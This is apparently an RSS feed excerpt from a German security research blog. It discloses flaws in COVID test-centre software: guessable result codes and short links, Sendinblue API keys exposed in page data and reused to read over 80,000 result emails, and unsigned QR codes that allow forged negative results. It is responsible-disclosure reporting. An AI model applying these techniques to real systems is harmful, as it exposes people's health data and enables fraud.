         alt=&#34;Meme-Template: Trade Offer; I receive: unix timestamp - you receive: siebenstelliger code&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Also haben wir mal probiert, dort nicht unseren Registrierungszeitpunkt anzugeben, sondern den Zeitpunkt ein paar Sekunden zuvor. Und tatsächlich hatten wir schon nach drei Versuchen einen Treffer – und bekamen für unsere Timestamp-Eingabe den siebenstelligen Code einer anderen Person zurück. Diesen mussten wir nur noch in die bekannte URL &lt;code&gt;https://medicanst.com/customer/ticket/pdf/{CODE}&lt;/code&gt; einbauen und konnten so das PDF einer fremden Person ohne Probleme abrufen.&lt;/p&gt;
&lt;p&gt;Das geht natürlich auch automatisiert, und in kurzen Stichproben waren mehr als 15% der Versuche erfolgreich.&lt;/p&gt;
&lt;h2 id=&#34;und-jetzt&#34;&gt;Und jetzt?&lt;/h2&gt;
&lt;p&gt;Wie viele Menschen betroffen sind, wissen wir dieses Mal nicht, da wir aus unseren Stichproben keine Rückschlüsse auf die Gesamtmenge ziehen können.&lt;/p&gt;
&lt;p&gt;Schon während unserer Tests war die Registrierungsseite mal für ein paar Stunden offline, vermutlich &lt;a href=&#34;https://www.sueddeutsche.de/politik/coronatests-medican-staatsanwaltschaft-1.5307519&#34;&gt;wegen einer Hausdurchsuchung&lt;/a&gt;. Das war ausgerechnet, als wir uns selber testen lassen wollten. Ein bisschen hatten wir die Hoffnung, dass unsere Versuche bemerkt und das System abgesichert wurde.&lt;/p&gt;
&lt;p&gt;Nachdem die Seite aber recht bald wieder unverändert online ging, haben wir uns mal wieder an Berichte gesetzt, um alle Lücken fein säuberlich zu dokumentieren und an die zuständigen staatlichen Stellen, also das CERT-Bund beim BSI und die Landesbeauftragte für Datenschutz und Informationsfreiheit des Landes Nordrhein-Westfalen zu schicken.&lt;/p&gt;
&lt;p&gt;Und jetzt kommt etwas Ungewöhnliches: Eigentlich veröffentlichen wir Sicherheitslücken erst, wenn der Hersteller sie behoben hat oder zumindest genügend Zeit dazu hatte.
Zwar hatte Medican inzwischen eine Woche Zeit, die Lücken zu schließen, wir haben aber bisher gar keine Rückmeldung erhalten.&lt;/p&gt;
&lt;p&gt;Allerdings hat Medican inzwischen fast alle Testzentren geschlossen (auf der Website findet sich nur noch eins) und die Buchungsseite liefert seit einigen Tagen nur noch eine leere Seite. Nachdem es jetzt sogar &lt;a href=&#34;https://www.tagesschau.de/inland/medican-festnahme-101.html&#34;&gt;Festnahmen bei diesem Unternehmen&lt;/a&gt; gab, gehen wir nicht davon aus, dass die Buchungsseite nochmal online geht.&lt;/p&gt;
&lt;p&gt;Daher halten wir es für vertretbar, diesen Beitrag zu veröffentlichen.&lt;/p&gt;
&lt;h2 id=&#34;fazit&#34;&gt;Fazit&lt;/h2&gt;
&lt;p&gt;Diese Lücken reihen sich in eine viel, viel (!) zu lange Liste von Testzentren mit mangelnder IT-Sicherheit und mangeldem Datenschutz ein.&lt;/p&gt;
&lt;p&gt;Wir finden es absolut unglaublich, dass selbst Firmen mit mehr als 50 Teststationen ganz offensichtlich kein ausreichendes Interesse an Datensicherheit haben. Wir haben ja mittlerweile gesehen, dass es für die Betreibenden dabei auch um enorme Mengen Geld geht. Das verleitet sicherlich dazu, mal eben schnell irgendwelche Testbuden und dazugehörige Software hinzurotzen – für alle Betroffenen hat das aber weitreichende Konsequenzen. Für sie geht es darum, dass ihre persönlichen Daten offen einsehbar im Internet stehen!&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/medicant/name4zerforschungen.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/medicant/name4zerforschungen.png&#34;
         alt=&#34;Meme-Template: That&amp;#39;s On Me, I Set the Bar Too Low; I&amp;#39;m a zerforschi - Okay, then name 4 zerforschungen - Corona-Testzentren? - That&amp;#39;s on me, I set the bar too low.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Wir fühlen uns langsam echt wie eine kaputte Schallplatte:&lt;/p&gt;
&lt;p&gt;Immer und immer wieder finden wir schwerwiegende Sicherheitslücken bei Testzentren, die uns den Zugriff auf große Mengen fremder Daten erlauben.&lt;br&gt;
Das darf einfach nicht mehr passieren.&lt;br&gt;
Es braucht Tests zur Pandemiebekämpfung und diese müssen sicher möglich sein.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/medicant/onceagainbernie.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/medicant/onceagainbernie.jpg&#34;
         alt=&#34;Meme-Template: I Am Once Again Asking for Your Financial Support; I am once again asking you to prüf your IT-Sicherheit before accepting Kunden.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Und so gilt, wie schon bei &lt;a href=&#34;https://zerforschung.org/posts/flink/&#34;&gt;Flink&lt;/a&gt;, &lt;a href=&#34;https://zerforschung.org/posts/medicus/&#34;&gt;Testzentren mit Software von medicus&lt;/a&gt;, &lt;a href=&#34;https://zerforschung.org/posts/dive/&#34;&gt;Dive&lt;/a&gt;, &lt;a href=&#34;https://zerforschung.org/posts/eventus-testzentren/&#34;&gt;Testzentren mit Software von Eventus&lt;/a&gt;, &lt;a href=&#34;https://zerforschung.org/posts/gorillas/&#34;&gt;Gorillas&lt;/a&gt; und &lt;a href=&#34;https://zerforschung.org/posts/testzentrum-die-dritte/&#34;&gt;Testzentren mit Software von Deckert&lt;/a&gt;: Wenn das Produkt marktreif genug ist, um Kund*innendaten zu speichern, muss es auch reif genug sein, diese für sich zu behalten. &lt;strong&gt;Verdammt nochmal!&lt;/strong&gt; 😡&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Der Landesbeauftragte für Datenschutz und Informationsfreiheit Baden-Württemberg hat eine &lt;a href=&#34;https://www.baden-wuerttemberg.datenschutz.de/pandemie-bekaempfung-datenschutz-in-testzentren/&#34;&gt;Liste veröffentlicht, was Testzentren-Betreibende beachten müssen&lt;/a&gt;. Darin wird auch gefordert:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Die Systeme sollten zudem im Rahmen professioneller Sicherheits-Audits geprüft werden.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Dies passiert offensichtlich bei vielen Anbietern nicht, denn solche Fehler würden innerhalb kürzester Zeit gefunden werden.&lt;/p&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Bei einem Klick auf den Link zur Datenschutz-Grundverordnung passiert übrigens nichts.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Wir wissen noch immer, wie du getestet wurdest. Der Tragödie nächster Teil</title>
      <link>https://zerforschung.org/posts/testzentrum-die-dritte/</link>
      <pubDate>Wed, 02 Jun 2021 18:13:46 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/testzentrum-die-dritte/</guid>
      <description>&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/testzentrum-die-dritte/datenleck-buchen.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/testzentrum-die-dritte/datenleck-buchen.png&#34;
         alt=&#34;Modifizierter Screenshot der Testbuchungsseite, mit dem Text: &amp;#39;Datenleck buchen - Wie viele Daten sollen enthalten sein?&amp;#39;&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Was haben Berlin, Ravensburg und München gemeinsam? Sie haben Testzentren, die mit der gleichen Software arbeiten. Und wenn wir über Testzentren schreiben, ist es leider wenig überraschend, dass es mal wieder um ein Datenleck geht. Betroffen sind diesmal mehr als 80.000 Testergebnisse bei vier verschiedenen Testzentrums-Firmen.&lt;/p&gt;
&lt;h2 id=&#34;testergebnisse-raten&#34;&gt;Testergebnisse raten&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[&amp;hellip;] Ein deutschlandweit genutztes System von Testzentren, Google-Cloud und Url-Shortener aus der Karibik (meines Wissens sogar ohne Datenschutzerklärungserwähnung) inklusive. [&amp;hellip;] Habt ihr Lust, euch das mal ein wenig näher anzusehen?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Mit dieser Nachricht wurden wir gleich auf vier Testzentren-Betreibende hingewiesen, die alle die gleiche Software verwenden: Neben Berlin und München auch noch in Ravensburg, Weingarten, Bad Waldsee und Markdorf. Ein Blick in OpenStreetMap verrät, dass die letzten alle im Großraum Ravensburg liegen.&lt;/p&gt;
&lt;p&gt;Wir bekommen in letzter Zeit immer mal wieder Hinweise, aber haben nicht immer die Zeit uns alles genauer anzuschauen. In diesem Fall hat es zeitlich gerade gepasst und wir haben mal einen Blick drauf geworfen.&lt;/p&gt;
&lt;p&gt;Die Testergebnisse werden per SMS zugestellt. Da aber das Versenden von SMS mit mehr als 160 Zeichen zuätzliche Kosten verursacht, wollten die Anbieter die SMS vermutlich möglichst kurz halten. Deswegen benutzen sie für den Link zum Ergebnis-PDF den URL-Shortner &lt;code&gt;is.gd&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://de.wikipedia.org/wiki/Kurz-URL-Dienst&#34;&gt;URL-Shortlink-Anbieter&lt;/a&gt; ermöglichen, eine sehr lange und komplexe URL durch eine wesentlich kürzere zu ersetzen, die aber zur gleichen Website führt. So lassen sich URLs einfacher weitergeben, etwa in einem Telefonat. Richtig beliebt wurden diese Services aber mit dem Aufkommen von Twitter, da bei anfangs 140 Zeichen jedes zusätzliche Zeichen einer URL wertvollen Platz für Text kostete. Viele Anbieter änderten ihr Konzept von möglichst merkbaren URLs auf möglichst kurze. Oft wurden die Kurzlinks nicht mal zufällig generiert, sondern die Zeichen nur hochgezählt. Technisch sind Kurz-URLs nichts anderes als eine Weiterleitung und intern nur eine Datenbank, welche die Abkürzungen den langen URLs zuordnet.
&lt;/div&gt;
&lt;p&gt;Die Links bei unseren Testzentren waren nach diesem Schema aufgebaut: &lt;code&gt;is.gd/ABC123&lt;/code&gt;, wobei &lt;code&gt;ABC123&lt;/code&gt; eine 6-stellige Kombination von Groß-, Kleinbuchstaben und Ziffern ist.&lt;/p&gt;
&lt;p&gt;Schon das ist ein riesiges Problem. Sechs Stellen sind wirklich nicht viel. Und bei 62 möglichen Zeichen pro Stelle und 6 Stellen gibt es insgesamt nur etwa 57 Milliarden mögliche Kombinationen.
Das klingt jetzt erstmal nach einer Menge Möglichkeiten, aber es ist mit vertretbarem Aufwand möglich, all diese URLs durchzuprobieren.&lt;/p&gt;
&lt;h2 id=&#34;die-e-mails-die-ich-schrieb-werd-ich-nun-nicht-los&#34;&gt;Die E-Mails, die ich schrieb, werd ich nun nicht los&lt;/h2&gt;
&lt;p&gt;Unsere Erfahrung sagt: Wenn schon bei den SMS nicht auf Sicherheit geachtet wird, ist vermutlich auch das Datenleck nicht weit. Deshalb haben wir uns auch die Terminbuchungsseite angeschaut und einen Blick in den Quellcode geworfen.&lt;/p&gt;
&lt;p&gt;Das geht mit jedem Browser: Ein Rechtsklick genügt, um die Entwicklertools zu öffnen, den Code zu lesen und nachzuvollziehen, was genau der eigene Browser tun soll.&lt;/p&gt;
&lt;p&gt;Dabei schauen wir in der Regel auf die Teile des Codes, die Daten vom Server abrufen. Eine dieser Code-Stellen fragt eine Liste der Testzentren-Betreibenden ab:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;console&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;getting teststationen from &amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;operators/&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;operator&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// get Teststationen
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;db&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;collection&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;operators/&amp;#39;&lt;/span&gt;).&lt;span style=&#34;color:#a6e22e&#34;&gt;get&lt;/span&gt;().&lt;span style=&#34;color:#a6e22e&#34;&gt;then&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;querySnapshot&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;querySnapshot&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;forEach&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;doc&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;doc&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;operator&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;doc&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6e22e&#34;&gt;location_codes&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;location_codes&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6e22e&#34;&gt;location_names&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;location_names&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        [...]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Diese Abfrage passiert also jedes Mal, wenn der Browser die Seite neu lädt. Und immer, wenn im Browser Daten abgerufen werden, kann man diese mitlesen. Auch hierfür braucht man keine speziellen Werkzeuge, denn mit einem Rechtsklick ins Browserfenster kann man nicht nur den Code anschauen, sondern auch den Datenverkehr &amp;ldquo;&lt;a href=&#34;https://developer.mozilla.org/de/docs/Tools#Exploring&#34;&gt;untersuchen&lt;/a&gt;&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Aus den dort geladenen Daten fällt die Liste der Betreibenden mit zusätzlichen Informationen:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;test_types&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;fastonly&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;location_names&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Testcenter Friedrichstraße&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;baseURL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://www.corona-gurgeln.de/&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;location_addresses&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Ecke Friedrichstraße/Torstraße&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;positivemail&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;info@corona-gurgeln.de&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SMSsenderName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Teststation&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;sendinbule_api_key&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;xkeysib-████████████████████████████████████████-████████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;companyAddressLine2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;10717 Berlin&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;companyAddressLine1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Uhlandstr. 68&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;location_codes&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;AN03&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;companyName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Deckert Vertriebs GmbH&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Eine Information sprang uns direkt ins Auge: Der &lt;code&gt;sendinbule_api_key&lt;/code&gt; (sic!), der bei jeder Testzentrums-Firma aufgeführt war.
Einen Dienst namens &amp;ldquo;sendinbule&amp;rdquo; haben wir leider nicht gefunden. Stattdessen probierten wir aus, ob der API-Key vielleicht beim E-Mail-Provider &amp;ldquo;Sendinblue&amp;rdquo; funktionieren könnte.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://sendinblue.com&#34;&gt;Sendinblue&lt;/a&gt; ist ein sogenannter transaktioneller E-Mail-Provider. In den letzten Jahren ist es schwieriger geworden, als neuer Anbieter E-Mails selber so zu versenden, dass sie in der Inbox landen und nicht sofort im Spamfilter hängen bleiben.
Statt sich also selbst um den Mailversand zu kümmern, bezahlen immer mehr Anbieter Unternehmen wie Sendinblue, Sendgrid oder Mailjet, damit diese die E-Mails für sie versenden. Das kennen wir schon von &lt;a href=&#34;https://zerforschung.org/posts/gorillas/&#34;&gt;unserem Ausflug in den Code von Gorillas&lt;/a&gt;.
&lt;/div&gt;
&lt;p&gt;Mal wieder Volltreffer: Dort funktionierten die API-Keys wunderbar. Die API von Sendinblue kann aber nicht nur E-Mails versenden, sondern es lassen sich darüber auch alle jemals gesendeten E-Mails abrufen.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/testzentrum-die-dritte/sendinbule-api.png&#34;
         alt=&#34;Screenshot der Sendinblue API Dokumentation - Funktion &amp;#39;Get the list of transactional emails on the basis of allowed filters&amp;#39;&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Die alles entscheidende Frage ist: »Welche E-Mails könnte ein Testzentrum wohl verschicken?«. Da müssen wir nicht allzu lange nachdenken – surprise, surprise: Filtern wir die E-Mails nach dem Betreff &amp;ldquo;Ergebnis&amp;rdquo;, erhalten wir über 80.000 Treffer.&lt;/p&gt;
&lt;p&gt;Bei jedem positiven Test wird zusätzlich eine E-Mail an den jeweiligen Anbieter des Testzentrums verschickt, vermutlich damit diese dann das Gesundheitsamt informieren können.
Filtern wir nur nach solchen E-Mails, bekommen wir 190 Ergebnisse.&lt;/p&gt;
&lt;p&gt;Zusammengefasst ist es in etwa so, als würde man die Zugangsdaten zum eigenen E-Mail-Account öffentlich auf seine Webseite schreiben.&lt;/p&gt;
&lt;h2 id=&#34;datenschutz-nein-danke&#34;&gt;Datenschutz, nein Danke?&lt;/h2&gt;
&lt;p&gt;Über die Untersuchen-Funktion des Browsers kommen wir leider nicht nur an die API-Keys für Sendinblue, sondern auch an die E-Mail-Adressen der Testzentren. An diese werden, wie oben erwähnt, die positiven Ergebnisse gesendet. Wir mussten dann doch sehr staunen, als wir die genauen Mail-Adressen gesehen haben:
Für die Testzentren der &amp;ldquo;Leif Ventures UG&amp;rdquo;, die testcenter.berlin betreibt, ist eine normale Google-Mail-Adresse hinterlegt. Die Postfächer der &amp;ldquo;Gemeinsam neue Wege GmbH&amp;rdquo;, die coronatest-rv.de betreibt, liegen bei Office 365.&lt;/p&gt;
&lt;!--
[^gehtnoch]: Während wir diesen Blogpost schrieben, wurde zwar der API-Key aus den abrufbaren Daten entfernt, diese E-Mail-Adressen finden sich dort aber immer noch.
--&gt;
&lt;p&gt;Auch sonst wird anscheinend mit den erhobenen Gesundheitsdaten eher sorglos umgegangen, obwohl diese eigentlich besonders geschützt werden müssen.
So werden die Daten nicht nur über den oben genannten E-Mail-Anbieter Sendinblue versendet, sondern dort auch für mindestens einen Monat gespeichert.
Die Ergebnis-PDFs liegen außerdem alle in der Google-Cloud.&lt;/p&gt;
&lt;p&gt;Durch Sendinblue können wir abschätzen, wie viele Testergebnisse betroffen sind:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Betreiber*in&lt;/th&gt;
&lt;th&gt;Anzahl Tests&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;corona-gurgeln.de&lt;/td&gt;
&lt;td&gt;~17.500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;coronatest-rv.de&lt;/td&gt;
&lt;td&gt;~37.500&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;testcenter.berlin&lt;/td&gt;
&lt;td&gt;~26.000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rapidtestberlin.de&lt;/td&gt;
&lt;td&gt;~1.500&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;In den E-Mails standen dann auch die Links zu den Testergebnis-PDFs. Somit waren folgende Daten zugänglich:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Name&lt;/li&gt;
&lt;li&gt;Geschlecht&lt;/li&gt;
&lt;li&gt;Geburtsdatum&lt;/li&gt;
&lt;li&gt;Adresse&lt;/li&gt;
&lt;li&gt;E-Mail-Adresse&lt;/li&gt;
&lt;li&gt;Telefon-Nummer&lt;/li&gt;
&lt;li&gt;Testergebnis&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;wozu-noch-ins-testzentrum&#34;&gt;Wozu noch ins Testzentrum?&lt;/h2&gt;
&lt;p&gt;coronatest-rv.de verschickt nach dem Test auch einen QR-Code. Dieser findet sich sowohl in der E-Mail mit dem Testergebnis als auch auf dem PDF und soll dann im Einzelhandel gescannt werden, um schnell zu überprüfen, dass ein negatives Ergebnis vorliegt.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/testzentrum-die-dritte/negativ-generator.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/testzentrum-die-dritte/negativ-generator.png&#34;
         alt=&#34;Screenshot eines fingierten Online-Testergebnis&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Diese URL aus dem QR-Code enthält eine Reihe von Parametern.
Darin ist unter anderem vermerkt, wann der Test durchgeführt wurde, an welcher Teststation, das Ergebnis und der Name des Testlings.
Diese Daten sind allerdings weder signiert, noch werden sie mit den ermittelten Testergebnisse abgeglichen.&lt;/p&gt;
&lt;p&gt;Obwohl der Anbieter von diesem Problem weiß, hat er es bis heute nicht gefixt. Dadurch könnten wir uns selbst ein negatives Schnelltestergebnis generieren:&lt;/p&gt;
&lt;video controls&gt;
    &lt;source src=&#34;https://zerforschung.org/m/testzentren-die-dritte/fake-test.mp4&#34; type=&#34;video/mp4&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/m/testzentren-die-dritte/fake-test.webm&#34; type=&#34;video/webm&#34;&gt;
&lt;/video&gt;
&lt;h2 id=&#34;halbherzige-reaktionen&#34;&gt;Halbherzige Reaktionen&lt;/h2&gt;
&lt;p&gt;Nachdem wir die Lücken entdeckt hatten, haben wir sie, wie üblich, fein säuberlich dokumentiert und dann dem CERT-Bund beim BSI und den Landesbeauftragten für Datenschutz und Informationsfreiheit in Baden-Württemberg und Berlin geschickt.
